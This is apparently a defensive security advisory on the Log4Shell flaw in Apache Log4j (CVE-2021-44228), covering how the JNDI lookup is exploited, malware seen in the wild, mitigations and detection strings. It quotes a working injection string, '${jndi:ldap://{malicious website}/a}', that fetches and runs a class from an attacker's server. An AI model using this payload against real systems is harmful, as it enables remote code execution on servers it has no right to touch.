Apache Log4j Vulnerability Called Log4Shell Actively Exploited

A vulnerability in Apache Log4j, a widely used logging package for Java has been found. The vulnerability, which can allow an attacker to execute arbitrary code by sending crafted log messages, has been identified as CVE-2021-44228 and given the name Log4Shell. It was first reported privately to Apache on November 24 and was patched with version 2.15.0 of Log4j on December 9. It affects Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Apache Dubbo, and VMware vCenter.


For more information:

https://logging.apache.org/log4j/2.x/security.html


Whenever ${some_expression} can be found, Java lookup mechanisms find the value of expression and replaces it. Some of the lookups supported by Log4j are jndi, sys, env, java, lower, and upper. JNDI lookup supports protocols such as LDAP, RMI, DNS, and IIOP. As we discuss in the following, an attacker could inject JNDI expressions in logs.


For example, an attacker can do this via HTTP requests to a web server; notably, this is the most common attack vector that we have seen currently. The lookup method will then download and execute malicious.class placed in an attacker-controlled LDAP server. In its most basic form, all the attacker has to do is to plant the following expression in the logs


${jndi:ldap://{malicious website}/a}


Attacks observed


Currently, the observed threat actors are dropping Mirai variants and Kinsing coinminers onto vulnerable servers. While some of the network traffic is simple, other threat actors are using obfuscation in the expression to hide their traffic. Examples of these can be found at the end of this entry.

Infection chain


Here is a possible infection flow from attacks that might exploit Log4Shell:


Initial access in relation to MITRE ATT&CK® Tactics


This vulnerability is caused by the “lookup” mechanism in log4j 2.x. When calling the log method in the application, log4j 2.x will call the format method to check the specific characters ${ in each log. If these characters are present, the “lookup” function will be called to find strings after ${ and the said strings replaced with the real value found before. It has been observed that there are different forms of lookups, such as Java Naming Directory Interface (JNDI) lookup, which allow variables to be retrieved by JNDI.


Several JNDI lookup protocols are supported to allow remote lookups like LDAP and RMI. If the log contains the strings ${jndi:logging/context-name}, the method lookup will be called to find the string jndi:logging/context-name.


The attacker might then set a malicious Java class on an attacker-controlled LDAP server. By then, the “lookup” function will be used to execute the malicious class on the remote LDAP server.



Execution in relation to MITRE ATT&CK® Tactics Once the exploit succeeds, depending on the contents of the URL in the lookup, the server then interprets the string. This might then lead to arbitrary shell commands in various forms like Java Class, JavaScript, and Unix shell, among others. Lateral movement in relation to MITRE ATT&CK® Tactics Cobeacon components, which can be used for lateral movement, were also seen to be downloaded. These can also be used for lateral movement and might then lead to a possible ransomware infection, as Cobeacon components have been observed in a variety of ransomware attacks. Credential access in relation to MITRE ATT&CK® Tactics The vulnerability might also lead to the download of malware with credential-stealing capability, such as Kirabash.



Impact Currently, the observed payloads are the Mirai botnet and Kinsing coinminer. The following are two of the possible impacts:

  • Resource hijacking. Coinminers will use up resources to mine cryptocurrency, while Mirai might use the affected systems as part of its botnet for activities such as distributed denial of service (DDoS) or spamming.

  • Network denial of service (DoS). Mirai can make use of the affected system to launch DDoS/DoS attacks as part of its routine.

Patch and Mitigation Though the attacks in the wild are predominantly delivered over HTTP, the vulnerability could be exploited over any protocol wherein user input data is logged using Log4j. Hence, we highly recommend everyone to upgrade to Log4j 2.15.0. Meanwhile, until the vulnerable instances are patched, the vulnerability can be mitigated through the following steps :

  • For >=2.10, set system property log4j2.formatMsgNoLookups to true.

  • For >=2.10, set environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.

  • For 2.0-beta9 to 2.10.0, remove JndiLookup.class from class path: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

One recommended best practice is to limit the egress traffic to internet from necessary ports only. It is important to note that the aforementioned steps are most applicable in cases where Log4j is used directly. Other patches from applications that use Log4j indirectly might also be necessary. As the following list indicates, multiple software vendors have products that expose this vulnerability. Detection guidance Application logs should be monitored for the presence of these patterns or their obfuscated versions:

  • ${jndi:ldap:/}

  • ${jndi:ldaps:/}

  • ${jndi:rmi:/}

  • ${jndi:dns:/}

  • ${jndi:iiop:/}


Conclusion:

The CVE-2021-44228 vulnerability is still being actively investigated in order to properly identify the full scope severity. Given the information currently available, this vulnerability may have a high impact at present and in the future. Most of the applications being affected are widely used in corporate networks as well as home networks. Clients are encouraged to take all necessary steps to ensure they are protected against this vulnerability.


11 views

Recent Posts

See All